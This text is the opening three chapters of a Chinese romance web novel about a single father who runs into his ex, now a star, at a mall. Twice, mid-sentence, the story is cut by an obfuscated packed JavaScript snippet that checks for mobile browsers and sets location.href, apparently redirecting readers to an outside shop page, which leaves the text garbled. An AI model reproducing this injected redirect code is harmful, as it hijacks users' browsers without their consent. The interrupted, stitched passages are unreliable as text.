《错让前夫哥帮忙接孩子后》 1. 第 1 章 北方的冬,凛冽苍白。 它似乎永远那么漫长,长得看不到尽头。 苏致秋不喜欢这样的冬天,因为太冷。 但他再次遇到凌岁寒的时候,恰好就是一个没有雪的冬天。 当时,他正跟苏团团站在商场的小火车前拉扯。 “不可以。” 苏致秋试图摆出自己作为一个父亲的架子,一脸严肃地竖起手指,摇了摇。 他又重复了一遍,“已经是第三圈了,我们必须回家了。” 苏团团看着他少有的严肃样子,先是瑟缩了一下,但很快就重新恢复可怜巴巴的样子,一双乌黑的大眼睛眨巴眨巴地看着他。 那双眼睛好似两颗山葡萄,闪闪发亮,溢满水光地看着人的时候,没有人能抵挡得住。 尤其是苏致秋。 每每被这双熟悉又陌生的眼眸注视的时候,他总会控制不住地忍不住想起……另一个人。 “可是爸爸,奶奶不是说了她今天不回家了吗,那我们可以再多玩一会呀,奶奶不知道,不会骂我们的。” 好在,苏团团奶声奶气的语调将他已经纷飞的思绪及时拉了回来。 苏致秋轻咳了一声,知道刚刚的走思已经让自己错过了最好的时机,只好重振旗鼓,试图跟孩子讲道理。 “但是叔叔今天会回家哦,他偷偷告诉我,给你带了个大礼物呢,你要是不去的话,礼物就长腿跑了哦!” 他的恐吓果然成功吓到了小朋友。 苏团团狠狠地咽了口口水,一脸纠结地抓住小火车的方向盘,小脸都皱成一团。 但即使是这样滑稽的小表情,也掩不去他那张过分白皙漂亮的脸蛋,看得人心疼不已。 “那,那爸爸,就一次好不好,最后再玩一次,然后我们就开快点,不,不会迟到哒!” 苏团团终于做好心理挣扎,艰难地竖起一根小指头,撅起嘴巴乞求地看着他。 苏致秋本就一向疼他,这次又是怕让苏致枫久等,才不让他玩的,看他这个样子,也不忍再说什么了,只好非常没有原则地点头答应了。 得到爸爸首肯的苏团团兴奋地耶了一声,开心地咧着嘴再次丢进去两枚硬币,随着响起的音乐声咿呀咿呀地开动起小火车。 说是小火车,其实也只是三辆闪着彩灯,画着各种图案的小车相连,并不华丽,行驶的速度也很缓慢,只能在商场的这一片区域开动。 但即使是这样,苏团团依旧开得十分认真,连安全带也要一丝不苟地系好,小手握紧方向盘,嘴里还要模仿着汽车发动的声音。 苏致秋一边跟在小火车后面慢慢踱步,一边掏出手机来给苏致枫打电话。 看着团团兴奋不已的样子,他一边忍不住扬起嘴角,一边有点难受地叹了口气。 这个小火车在这里并不是什么稀罕物,周围的小孩子们似乎都已经玩腻了,没什么兴致地看两眼就走了过去。 但团团却还是第一次见,自然喜欢得不能自已。 说起来,还是怪他,那时候只顾着一门心思把自己藏起来,却忽略了团团的需求。 老妈说得对,他已经耽误了团团太多时间了。 好在,他现在回了北城,这边很繁华,各类设施也很完善,团团还小,一切都还来得及。 看着团团自己开得开心,苏致秋也就放心地走到一边去拨通了电话。 苏致枫接得很快,听他说完后,立刻表示:“不着急,让团团玩够了再说吧,或者我现在去商场找你们。” “不用,位置不都订好了吗?”苏致秋拒绝道:“别折腾了。” 说了两句,挂断电话后,苏致秋一转身,差点和身后人撞个满怀。 对方急忙道歉道:“没事吧,不好意思。” “没事,”苏致秋笑了笑,道:“是我没注意。” 高挑的女人也对他笑了笑,说明了来意,“请问这个小火车大概多久停下呢?我儿子也想玩,可以一起坐吗?” 苏致秋顺着她的目光看过去,果然看到一个和团团差不多大的小男孩正站在一边,专注地看着团团开小火车。 他了然地点点头,爽朗道:“没问题,不过我们马上就要走了,你们可以等下继续玩。” 女人听完,客气地颔首,刚要对那个小男孩说什么,小男孩却像是看到了什么人一般,忽然跳起来,冲着那边冲了过去。 远远地还能看见小孩开心的笑脸,显然极欢喜来人。 苏致秋下意识也跟着看过去,就见远处扶梯上上来了一个男人。 戴着黑色口罩和棒球帽,个子很高,宽肩长腿,一身黑色风衣被他穿得极其有型。 虽然看不清脸,但只看身段,也能看出是个帅哥。 下一秒,小男孩跑到男人面前,蹦着跳着求抱抱,对方似乎笑了起来,弯下腰将他抱起来,低声和他说着什么,一边朝这边走过来。 苏致秋打量了一眼身边的女人,猜到了这是一家三口,而且看样子,是很幸福的一家三口。 他无意打扰人家,只是瞥了最后一眼,就想礼貌地收回视线。 然而就是这一眼,将他整个人定在原地。 小男孩一扬手,不小心扯下了男人的口罩,露出了对方的脸。 男人骨相优越,乌眉黑目,皮肤很白,鼻子很挺,唇色殷红,略显锋利的下颌线让他看起来不好接近。 长得很帅很漂亮,足以让人愣那么几秒神。 可落到苏致秋眼中,却是错愕多过惊艳。 耳边商场里的音乐声似乎都被按下了暂停键,那张熟悉又陌生的脸仿佛瞬间将他带回了五年前的某一天。 刻骨铭心的那一天。 他不知道自己愣了多久,但应该是很久,因为身旁的女人都开始有点小心翼翼地看向他。 苏致秋后知后觉自己一个大男人,这样直勾勾地盯着别人的老公看很不像话。 他用力掐了自己的手心一把,疼痛瞬间让他清醒了。 眼看男人越走越近,他顾不上解释,飞快地收回视线,快步走到缓缓开过来的小火车旁,一把解开安全带,抱起还在乐呵的苏团团,头也不回地朝着反方向离开了。 身后,女人还在叫他们,“先生,先生!” 苏致秋却只假作没听到一般,捂住团团的脸,抱着团团大踏步地消失在前方。 凌岁寒抱着孩子走到女人身边,不知道对方在看什么,随口问:“怎么了?” 女人摇摇头,拿起一边的一个钱包,道:“刚刚那位走得着急,把钱包落下了。” 凌岁寒扫了一眼,是一个黑色的皮质钱包,看不出什么特别。 他将小男孩放到小火车上,道:“看看里面有什么联系方式吗?” 女人反应过来,立刻打开看了一眼,里面只是零碎放着一张门禁卡,一些零钱,没有任何联系方式。 她摇摇头,正要合上钱包,夹层被她一扯,却露出了里面的一角,像是一张照片。 无意侵犯他人隐私,凌月把照片塞回去,想拉上拉链。 旁边人却忽然注意到什么,伸过来一只修长的手,拿出那张照片看了一眼。 定睛一看,凌月也惊讶地认出了上面的人,竟就是站在她身边的凌岁寒。 照片似乎放了很久,背面已经有些泛黄了,却又被主人爱惜地用塑封膜封了起来,塑封膜上还有几颗小爱心,足以彰显对方对这张照片的珍爱。 她愣了一下,下意识地扭头看向身旁的男人。 “这好像是……你们刚出道的时候吧。” 她语气带了一丝不确定,毕竟距离那一年已经过去近十年了,她也只能通过服饰和年龄来判断。 凌岁寒作为本人自然更了解,他手指夹着这张照片看了看,点头道:“嗯。” 顿了顿,他又补充了一句,“出道日舞台。” 照片上的他披着独属于C位的华丽披风,一手高高举起,周围无数镁光灯聚焦他拼命闪烁,舞台下人山人海为他尽情欢呼,是说不出的意气风发。 当年,他这张照片很火,火到当夜就上了热搜,压都压不下去,甚至后来做成周边后也经常被炒上天价。 然而,令他印象这么深刻的原因,却并不是这个。 这张照片,是那个人给他拍的。 不知为何,那个人给他拍过的照片不少,这张却独有灵魂。 他已经很久没见过这张照片了,因为当年那些事,现在已经没人敢在他面前提起那个人了。 包括他的一切都已被抹去,一丁点蛛丝马迹都没有,仿佛那人从未出现过。 “放回去吧,”凌月在一边说:“这么重要的钱包,应该很快会回来取的。” 凌岁寒嗯了一声,将照片塞回了钱包。 两人坐在一边的沙发上,看着小男孩开着小火车来回跑,偶尔说两句话。 不知是出于什么原因,凌岁寒有些心不在焉的,他低下头来来回回地看了几眼手里的钱包。 不是什么名牌,很普通,能看出来用了很久,边缘有微微的磨损,拉链上还挂了个小汽车形状的装饰,挺可爱的。 “这钱包是什么人落下的?” 他忽然开口问。 凌月愣了一下,回忆道:“好像是一个年轻爸爸,看样子应该和你差不多大,长得倒是挺好看的,人也开朗。” “我估计,可能是家里有什么小辈中的女孩喜欢你吧,照片给放错了。”凌月猜测道。 凌岁寒只听到了年轻爸爸几个字,就没有再往下继续听。 他皱皱眉,没说话。 一直到了饭点,来来往往的人群变多,小火车也要还回去了,钱包的主人依旧没来。 凌月疑惑地对他道:“奇了怪了,难不成到现在还没发现,没有门禁卡他们怎么回家。” 凌岁寒没说话。 过了片刻,他淡淡道:“一会送到失物招领去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498513|202616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。” 他瞟了那个钱包一眼,对它彻底失去了兴趣。 自己都觉得刚刚的想法太过荒谬。 “今晚有通告,先走了。” 他戴好脸上的口罩,对小外甥摆摆手,转身离开。 * “爸爸,爸爸!” 耳边传来呼喊声,苏致秋脑子里乱糟糟的,几乎是凭着本能一般下意识回道:“诶,爸爸在呢。” “爸爸,你可以开慢点吗,团团害怕。” 苏团团坐在后座的儿童座椅上,小心翼翼地说。 苏致秋一个激灵,彻底反应了过来,他急忙一脚刹车踩下去,将车稳稳停在路边。 双手离开方向盘,他这才反应过来自己刚刚的不对劲吓到了团团。 他握紧双拳,尽力平复着心情。 “爸爸,”团团自己解不开安全带,只能用力朝前够着,问他,“你没事吧?我们为什么要突然跑出来呀?” 苏致秋张张嘴,却发现自己的嗓子有点哑。 他清清嗓子,背过身用力呼了一口气,这才笑着扭过头对团团道:“没事的,团团,爸爸就是怕叔叔等我们着急。” 团团年纪小,信以为真地点点头,有点难过地捏了捏手指,开口轻声道:“对不起爸爸,都怪团团非要玩小火车……” 苏致秋侧过头去,夜幕降临,路灯投入车内留下一片昏暗的光,苏团团那双漂亮的眼眸中再次蒙上水雾。 很像刚刚那个人。 看得他失神。 见他不说话,苏团团愈发慌乱起来,拼命一用力,咔哒一声,竟然硬是挤开了安全扣,凑过来小声道:“爸爸,你是不是生团团气了,我再也不这样了……” 他尽力绷直自己的声线,却依旧不受控制地溢出两声啜泣。 听到孩子低低的抽噎声,苏致秋几乎是条件反射地急切起来,一把解开自己的安全带,将他从后面抱到自己的腿上。 感知到熟悉的怀抱,苏团团情绪却没有变好,反而愈发害怕起来,两只小胳膊拼命抱着他的腰不撒手。 苏致秋知道他是真的被自己的反常吓到了。 感知到埋在自己肚子上的那颗小脑袋的抽泣,他是又悔又急,瞬间将刚刚的所有情绪都抛之脑后。 将小孩抱起来,苏致秋熟练地温声安慰了半天,才总算哄好了这个小朋友。 “爸爸真得不是生我的气了吗?” 看着苏团团担忧又故作坚强的眼神,苏致秋用力点点头,带着平日里的笑容道:“当然啦,爸爸那么爱你,怎么会生你的气呢?” “叔叔也不会生气,对不对?” 苏团团赶紧追问。 苏致秋看着他紧张的小脸,故意逗道:“那可不一定……” 看着小孩眼底又开始浮现水光,苏致秋赶紧投降道:“肯定不会呀,叔叔多喜欢团团呀,每次都给团团带礼物,不会生气的。” 苏团团认真想了想,确实是这样,这才乖乖自己回到儿童座椅上,又自己系上安全扣,催促道:“爸爸,那我们快出发吧,叔叔一会等着急了会哭的。” 苏致秋:………… 他忍不住在内心腹诽,除了你这个爱哭鬼,谁还会动不动就哭。 也不知道跟谁学的,这么会撒娇。 他叹了口气,最后做了一个深呼吸,确保自己的情绪已经平静下来后,这才重新发动了汽车。 或许是被团团一打岔,一路上,苏致秋都没有再分出精力想刚刚那个突如其来的重逢。 只在汽车停在斑马线前等红灯的时候,他心底忽然冒出一个念头。 原来他已经结婚了。 连孩子都有了。 他和自己的妻子、孩子,似乎过得很幸福。 已经是那么大的明星了,却依旧冒着被路人发现的风险,也要陪孩子去商场。 凌岁寒的确是个好父亲。 后座的团团一边把脸贴在车窗上,目不转睛地看着外面的繁华,一边费力地伸着手指认字。 “包,包子店……” 认真又好奇的嗓音传到驾驶室,让他忍不住勾起唇角。 其实,他并没有想象中的那么难过。 五年了,各自成家立业也是正常的。 他早就没有年少时要厮守一生的那些幻想了。 只是,团团孤零零地坐在小火车上玩耍时,他们一家三口的幸福模样在他眼前浮现,让他心仿佛被针猛得扎了一下。 一阵刺痛,又酸又涩。 他和团团在那个场景下,显得格格不入。 明明他没做什么,却似乎依旧有种小三和私生子遇到正宫的心虚与卑微。 说不出的感觉在心底冲撞,让他下意识只想逃离,只想抱起团团躲开他们。 苏致秋被自己的想法逗笑了,暗暗决定再也不陪老妈看那些八卦狗血剧了。 他家团团是他一个人最好的宝贝,这就够了。 2. 第 2 章 “好辣,好辣!” 苏团团一张小脸皱成了包子。 苏致秋左手拿着一个苹果派,右手一杯冰可乐,吃得不亦乐乎。 最后,苏致枫特意定好的西餐厅还是没去成,无他,路上苏团团看到巨大的肯德基老爷爷,根本走不动路,眼睛都瞪直了。 听到这道叫声,他扭过头去看了看,哭笑不得地拿下团团舍不得放下的鸡翅。 “不是跟你说了,那个是辣的吗?” 苏致秋赶紧给他喂了点牛奶解辣,给他拿来不辣的鸡翅,又耐心地给他擦了擦嘴边的碎屑。 团团眨巴着大眼睛,嗷呜一口咬下去,再次吃得十分满足。 坐在对面的苏致枫看着这对父子,忍不住逗弄团团。 “你怎么这么怕辣呀,男子汉都不怕辣的。” 苏团团吃得开心,才不理他,认真地反驳道:“我是小孩子,不是男子汉。” 苏致枫嘻嘻哈哈地笑起来,一边随口道:“哥,这孩子真不像你,我记得妈说你五岁的时候就能一个人吃一整根青椒了,咱家都这么爱吃辣,也不知道他随谁了。” 说者无意,听者有心。 苏致秋愣了一下,笑了笑没说话。 苏致枫顿了顿,猛的意识到自己说错了话。 他不自在地拿起旁边的冰可乐猛地喝了一大口,幸好苏致秋没有让他窘迫太久,自然地换了话题。 “实习单位怎么样?” 苏致枫擦了擦嘴,“还不错,我不少师兄师姐都在那边,我也想留在那转正,得好好表现。” 苏致秋点点头,鼓励道:“别有压力,顺其自然就好。” 苏致枫应了一声,两人又闲聊了几句,话题不自觉地又绕回团团身上。 “团团,小火车那么好玩吗?” 苏致枫吃饱喝足,低头逗孩子。 苏团团早就吃饱了,一个人安安静静地坐在一边,玩着儿童套餐里附赠的玩具。 大部分情况下,他都是一个很听话很懂事的孩子,只在苏致秋面前才会偶尔展示他的没安全感和小脾气。 闻言,他用力点点头,放下玩具,开始给苏致枫一五一十地讲那辆小火车有多厉害。 苏致秋一边小口小口咬着苹果派,一边笑着听他说。 直到苏团团说完后,忽然又开始给苏致枫讲自己突然把他抱走,还开车开得很快的事。 苏致秋脸上的笑意一僵,感受到对面苏致枫投来的视线时,又急忙低下头去,避开了他的视线。 意识到自己的动作太明显后,苏致秋又抬起头,调整了一下表情,将刚刚在车上给苏团团的解释又说了一遍。 只是,苏致枫不是孩子,没那么好骗。 苏致枫抬眸,意味深长地看了他一眼。 他也不知道苏致枫信了没有,只好假作若无其事的样子,喝光了手里的可乐。 当着孩子的面,两人谁也没多说什么。 只在收拾东西出门的时候,苏致枫忽然迟疑地开口道:“哥,你是不是遇到……” “没有,”苏致秋立刻反驳道:“没有遇到什么人。” 苏致枫:“…………” 他闭上了嘴。 他本来想说在回来的飞机上,坐在他旁边的几个女孩似乎是凌岁寒的粉丝,叽叽喳喳地说了好几遍那人的消息,很是兴奋。 那个人最近似乎回北城了,要在北城拍戏,几个女生想去剧组转悠转悠,看能不能偶遇。 但看苏致秋紧紧抿起的唇,苏致枫把这些话咽了下去,没有多嘴。 看他哥这态度,也不像还有那个意思,兴许今天是他多想了,何必再生事端。 回去的路上,苏致枫陪着团团坐在后座,他赶飞机回来,早就累了,一上车就歪着头睡着了。 飞驰在路灯下的车里,只有团团依旧趴在车窗上,慢吞吞认字的声音。 路过一个格外繁华的十字路口时,街市如昼流光溢彩,耀眼的霓虹灯闪烁着照亮了车内,来来往往的人群和车辆在马路上川流交织。 团团被那高得要仰头看过去的大屏幕吸引了视线,震撼地张大嘴巴,眼睛瞪得圆溜溜。 红灯亮起,车辆停在大屏幕前。 “爸爸,爸爸,好大的电视啊。” 团团拍拍驾驶座,叫他。 苏致秋笑着附和道:“嗯,爸爸看到了。” “爸爸,上面还有人在动呢!” 苏致秋盯着眼前的人群,为了驾驶安全,没有回头跟着去看,只是应道:“是吗,好看吗?” “好,好看。” 团团咂咂嘴,忽然道:“和我们刚刚遇到的那个叔叔好像哦。” 嘎吱一声,手中的方向盘发出不堪重负的响声。 苏致秋松开被他攥紧的方向盘,第一时间从后视镜中瞟了后座的苏致枫一眼。 好在,苏致枫似乎是真累了,靠在窗户上睡得很沉,并没有听到团团刚刚的话。 他这才扭过头去看了一眼那片大屏幕,果真看到一道熟悉的人影正侧头朝这边望过来。 尽管知道这只是动态的5D效果,但苏致秋在这一刻还是不受控制地产生了一种自己在与他对视的错觉。 苏团团还在后座惊叹,“叔叔在看我!” 说着,他兴奋起来,傻傻地伸出手想要去触碰那道幻影,但终究只是碰到了冰凉的车窗。 团团迷茫地看了看车窗,又看了看大屏幕,有点失落。 上面已经换了一个场景,变成了一个正在吃竹子的熊猫,憨态可掬,很快又重新吸走了团团的注意力。 苏致秋松了口气,他怕苏团团再次追问,会吵醒苏致枫。 红灯变绿,他慢慢发动车子。 尽管已经很久没来北城了,但他还记得这里是寸土寸金的一片商业区,街边一个广告牌都是几百万起步。 而能在地段最好的市中心,拥有这样夸张夺目的一个地广,苏致秋好歹也是当过爱豆的人,知道报价起码八位数起步,将近九位数也不是不可能。 尽管他一直都知道凌岁寒已经是巨星了,但来到繁华的北城后,这种感觉才终于变成现实。 他是闪耀在巨屏上的大明星,而他现在只是一个抬头仰望他的无名路人而已。 赤/裸的对比告诉他,他们早就不是一个世界的人了。 或许当年就不是,只是那时候的他太天真。 苏致秋摇头一笑。 回家将车停在地库里,苏致秋去开门。 苏团团立刻迈开小短腿,颠颠地跟上来,积极地举起手,“我开,我开。” 苏致秋一边让开位置,一边从羽绒服的口袋里掏钱包。 这一摸,却摸了个空。 他怔了怔,将两个口袋都翻出来看了一遍,钱包竟是不见了。 后面睡眼惺忪的苏致枫晃悠着过来了,迷迷瞪瞪地问他,“哥,怎么不进去。” 苏致秋皱眉又摸了一遍,终于确认了这个事实。 “钱包丢了。” 苏致枫一愣,也醒了盹,急忙问他,“最后一次看见是在哪?” 苏致秋回忆了一下,才不确定地道:“应该是落在商场了。” 他口袋浅,当时出来得又急,只顾上抱走团团,钱包应该就是那时从口袋中滑落的。 “现在商场也关门了,”苏致枫看看表,道:“明早去失物招领处看看吧,应该会有人放在那。” 他一边说,一边掏出自己的门禁卡递给团团,团团满足地刷开门。 “没什么贵重物品吧?”苏致枫问。 “没有,就一些小东西。” 苏致秋庆幸自己刚整理了钱包,没有来得及把各种证件放进去,不然就完了。 就连门禁卡也是前天刚放进去的。 这也就是今年这所小区正好翻修了,不然以前进单元门根本用不到门禁卡。 这座房子是很多年的老房子了,这几年只有老妈和苏致枫偶尔过来住住。 出于某些原因,他一次都没来过。 位置偏了点,房子不大,两室一厅的布局稍显局促,装修也已经过时了。 热水管、下水道总是爱出问题,冬天出凉水,夏天出热水。 但苏致秋还是很喜欢这个房子,这是他人生中买的第一套,也是唯一一套属于他的房子,见证了他人生中曾有过的短暂辉煌。 起码让他回到北城后,能有个落脚的地方住,不至于再攒租房子的钱。 毕竟养孩子是很费钱的,他现在手头的确有点拮据。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“其实爸爸认识那个叔叔,他以前……” 苏致秋话说了一半,又顿住。 他本想描述一下凌岁寒有多坏,自己多么讨厌凌岁寒,编造一点谎言来骗过团团。 可不知为何,他下意识不愿意在团团面前诋毁凌岁寒,不愿意给团团的潜意识里留下凌岁寒不堪的印象。 尽管,团团和凌岁寒一辈子都不会知道他们之间的真正关系。 苏致秋感觉自己就像一个用心良苦的单亲妈妈一样,憋了半天,还是什么理由都没憋出来。 最终,他只能没好气地直接拿出杀手锏。 “你要是能答应爸爸的话,我明天下班就给你带棉花糖回来。” 棉花糖一拿出来,苏团团果然瞬间安静了,把小被子朝上一拉盖住肚子,抱住一旁的大兔子玩偶乖乖道:“没问题,我答应你,爸爸。” 看着他乖巧的样子,苏致秋一颗心都要化了。 他不再提这件事,低头在苏团团的额头上落下了一个吻,温柔道:“太晚了,奶奶已经睡了,明天再打电话吧。” 苏团团点点头,毕竟是小孩子,脑子里不装事,很快就把棉花糖和“帅叔叔”都抛到脑后,呼呼睡着了。 只留下苏致秋一个人靠在床头,失神地望着他的睡颜。 他想,自己或许的确有点残忍。 尽管苏团团已经亲眼见到了自己心心念念的“妈妈”,但他依旧要哄骗他。 与其让团团知道自己的另一个爸爸在陪别的小朋友,还不如瞒着他。 反正,团团有自己就够了。 用不了多久,只要不再提起这件事,团团就会慢慢忘记,凌岁寒不会在他心里留下一丝印象。 北城这么大,凌岁寒又是天天辗转各个城市的明星,想再相遇也基本不可能。 苏团团不会知道自己已经遇到了“妈妈”,凌岁寒也不会知道自己还有一个孩子。 皆大欢喜。 苏致秋暗暗给自己开解了一番后,心下松快了不少,再次亲了亲苏团团的小脸蛋,关掉了台灯。 3. 第 3 章 第二天早上起来,苏团团果然没有再提起昨天的事,显然还记着昨天和苏致秋的约定。 他站在苏致秋特意为他买的汽车形状的矮凳上,一手拿着牙刷,对着镜子认真地自己刷牙。 刷完牙后又按照七步洗手法洗干净手和脸,动作认真又严格,还知道跳下矮凳拿起毛巾擦干。 苏致枫站在他旁边,看得啧啧称奇。 刚要说什么,就见小家伙挂好毛巾后,屁颠颠地跑到了卧室里,轻车熟路地拉开一个抽屉。 他怕小孩摔倒,便跟了过去。 苏团团从抽屉里拿出两个瓶瓶罐罐,对着一边的小镜子,用小勺子挖出一坨乳霜,又一点一点细致地抹在脸上。 他动作十分熟练,小手指啪嗒啪嗒的,没一会,就给自己抹好了宝宝霜。 再拿起一边的儿童梳子,对着镜子,认真地给自己把头发理顺。 这一套流程做完后,苏团团理了理身上的幼儿园园服,确保自己看起来没有一点问题,非常帅气后,才把宝宝霜收进抽屉,总算心满意足地去餐厅坐下等开饭。 目睹了全程的苏致枫瞪大双眼,已经不能用震惊来形容了。 苏致秋正在厨房里煎鸡蛋,就听见苏致枫在外面扯着嗓子喊他,“哥,哥,团团他……” 吓得他丢掉手里的木铲,就赶紧出了厨房。 却只看见正一脸神色复杂,似笑非笑的苏致枫,对着他比划道:“团团他什么时候这么,这么……” 想了半天,他终于想到一个合适的形容词,“臭美?” 苏致秋愣了愣,明白过来,无语地回到厨房把快糊了的煎蛋放到盘中。 一边回答他的问题,“不要瞎说,他只是爱干净。” 苏致枫想了想,还是觉得他哥在睁眼说瞎话。 看看这一套熟练的流程,幸亏还小,这要是再大点,不知道得多臭屁。 虽然,苏团团的确长得很漂亮就是了。 “这孩子长大后一定好看得不像话。” 苏致枫一口吃掉微糊的煎蛋,一边感叹道。 至于原因,他没说,苏致秋也没搭腔。 能不好看么,他两个爸,一个成团夜直接凭一张照片登顶热搜第一位,从此硬是帅上神坛,一个从出道时就是队内的人气担当,全能ACE,又帅又有实力。 就这种基因,苏团团能长歪就怪了。 至于洁癖和臭美么…… 苏致秋心不在焉地喝了口牛奶,他当然清楚像谁。 有时候,他会觉得血缘和遗传真是个可怕的东西。 苏团团刚满四岁,终于能稍微自理的时候,就开始拒绝苏致秋给他搭配的衣服,非要自己打扮自己。 每天小皮鞋上落一点灰都要赶紧擦掉,发型一定要梳得一丝不苟,打扮得“花枝招展”,活似一只高傲的孔雀。 那股劲儿,和当年被粉丝戏称“团内第一Bking男”的某人一模一样。 反正一点也不像自己。 要不是当年当了爱豆,不然苏致秋恨不得每天戴个棒球帽就出门。 现在每天等苏团团打扮好出门的自己,和当年那个等凌少爷出门的自己,竟是莫名重合了。 苏致秋心里百感交集,回到北城寥寥几日,想起那人的次数竟比之前一年加起来都多。 还是怪昨天那个重逢。 还好,还好,生活马上要步上正轨了。 苏致秋脑子里转个不停,手上动作却一点不慢,飞快地吃完饭,就去厨房把碗洗干净。 苏致枫和团团一人拿着一个书包,坐在门口的沙发上等他出发。 他收拾好,开车带上两人,一个放到幼儿园,一个放到公司,又赶紧去了一趟昨天的商场。 时间紧张,他没怎么逛,很快就找到了失物招领处。 工作人员耐心地帮他看了一圈后,告诉了他一个失望的消息,“没有。” 苏致秋自己看了看,确实没有他的钱包。 他道谢后,又自己跑回昨天玩小火车的地方找了一圈,意料之内的也没有。 估计是被人捡走了。 要想找回来,只能先报警,才能联系商场这边查看监控,还不一定能找到那个人。 想到昨天全副武装出现在商场的凌岁寒,苏致秋知道他一定不想被人发现。 要是在调监控的过程中,被别人认出凌岁寒来,那事可就大了。 尽管凌岁寒早就已经成功转型,低调了许多,但他这些年热度依旧久高不下,狂热粉丝数不过来,仍然是一线顶流。 隐婚生子这种劲爆消息传出去,哪怕是砸再多钱,也不一定能压下去。 面对着工作人员热心的视线,苏致秋犹豫一下,还是抬头笑了笑道:“算了,也没什么值钱东西,不麻烦了。” 工作人员愣了一下,还想说什么,苏致秋已经摆摆手,直接转身离开了。 一边开着车朝着工作室那边飞驰,苏致秋一边在心底盘算钱包里的东西。 的确是没什么贵重物品,顶多就是一些加起来不到两百的零钱罢了,会暴露他身份的证件也没有。 不过,门禁卡是个问题,为了保证安全,他得去和物业说一声,不行就换个芯片。 他现在的这份工作有点忙,要是晚上加班,家里只有老人和孩子,他不放心。 还有……那张照片,丢了似乎有些可惜。 不过,也无所谓了,连本人他昨天都见到了,既然打算斩断过去,那么留着也毫无意义,徒增郁闷罢了。 这么一思虑,苏致秋将车停在路边,心里踏实多了。 他拿下车钥匙,一边朝楼里跑,一边给自己戴上棒球帽和口罩。 本以为要迟到,电梯却刚好在一楼停下了,苏致秋大松口气,连忙挤进去。 戴着口罩的他站在满是人的电梯中却并不显得突兀。 他是了解这个行业的,只要是和娱乐圈稍微沾点关系的职业,似乎都喜欢戴帽子戴口罩。 毕竟随时身处到处都是摄像头的场地,很多素人出于自我保护的原因,并不想入镜。 这也是他当初答应温觉非来这里工作的原因。 虽然少不了继续和娱乐圈打交道,但帽子和口罩一戴,鬼知道他是谁。 起码苏致秋已经在这间工作室待了一周了,谁都没认出他来。 当然,也可能是因为之前的一周不算太忙,都是一些项目的收尾。 但今天不一样了,温觉非昨天出差的时候还特意在电话里叮嘱他,今天有大明星来,拜托他一定帮自己接待好。 尽管对方口口声声工作室那群小年轻不如苏致秋有经验,但苏致秋不傻,知道温觉非是在给自己机会,帮自己重新找回自信。 离开这个圈子五年了,温觉非是唯一一个还陪在他身边的艺人,不是没有原因的。 当年在队内,除了……凌岁寒,和他关系最好的队友,就是温觉非了。 甚至温觉非远比凌岁寒,还要更早地与他相识。 两人是真正的竹马竹马。 就连凌少爷……当年也没少吃温觉非的醋。 电梯门在眼前打开,苏致秋打起精神,快步朝属于温觉非的工作室走去。 这大厦寸土寸金,哪怕是已经转型做导演的温觉非,也只能占据这层楼的两间房间。 站在门口的时候,苏致秋已经听到了里面传来的嘈杂声,似乎是今天的明星已经到了。 他对着旁边的玻璃整理了一下口罩,这才推门进去。 直到门被他合上,屋子里也没有多少人注意到他,只有工作室里的几个人和他打了个招呼。 苏致秋站在一堆仪器旁边,一边听着策划小姑娘和他对今天的流程,一边时不时用笔在台词本上删改着什么。 温觉非现在是个网剧导演加演员,在网上知名度还是很高的,他也独辟蹊径,没有选择走那种高大上逼格拉满的路线,而是彻底占据下沉市场,成了一个大网红。 他成立的这个工作室就是主要面对网上受众,在几家出名的社交平台上都有上千万粉丝。 主要就是每个星期定期找来几个明星,或是进行一个小采访,或是一起做几个游戏,或是拍一些短片,展现一些独家特有的活动。 虽然时长都短,但温觉非很有想法,每次都花样频出,再加上请来的都是近期有话题的明星,所以每次点赞量基本都能上千万。 这个不容小觑的传播度,让很多明星都不会拒绝工作室的邀约,甚至不少人主动递出橄榄枝。 而苏致秋明面上是新请来的摄影师,实则已经开始接触工作室上上下下的所有事了。 大家都是人精,知道苏致秋和温老板关系匪浅,可以说以后基本会成为工作室背地里真正的管理层。 没人和他对着干,他对这行也还算熟悉,所以苏致秋还是很喜欢这份工作的。 当然,他也不能光吃干饭,苏致秋这几天帮忙剪辑和改台本就没少熬到深夜。 付出也有回报,发现他不是花瓶草包后,工作室里的几个成员都对他的态度明显亲近和善起来。 对完台本后,苏致秋转转长时间垂着而有些酸痛的脖子,这才随意地瞟了一眼今天的明星。 一男一女,都是最近一部现代热播剧的主演。 女星他认识,是以前见过的一位前辈。 而男星,看起来年纪要小一点,也不知道成年了没有,长得挺帅,听说才刚出道两个月,他不是很熟。 但这两天对接,也知道对方姓方,叫方星,出道第一部电视剧就爆火了,搭档的全是大咖,摆明了家里有权有势。 女星还好,对这些事已经非常熟练了,一边让化妆师化妆一边闭目养神。 而方星那,似乎不怎么愉快。 “你怎么回事!到底会不会化妆啊?” 果然,下一秒,苏致秋就听到那边传来的一声男人的低喝。 他皱起眉,又往下压了压帽檐,这才朝那边走去。 走到化妆区,争吵已经进行到了下一个阶段。 方星一脸烦躁地躺在沙发上闭着眼,旁边是一脸无措的化妆师,一个助理模样的男人一边扭头哄哄方星,一边对化妆师指责着什么。 化妆师年纪不大,似乎没怎么应对过这种场面,起先还能嗫嗫地辩驳两句,但被助理喷了几句后,只能闭上嘴,双眼憋得通红,尴尬窘迫地站在一边。 许多道目光投过来,让她愈发无措起来。 方星看了助理一眼,想说什么,又闭上嘴躺回沙发上,手里已经拿出手机,响起一道进入游戏的声音。< 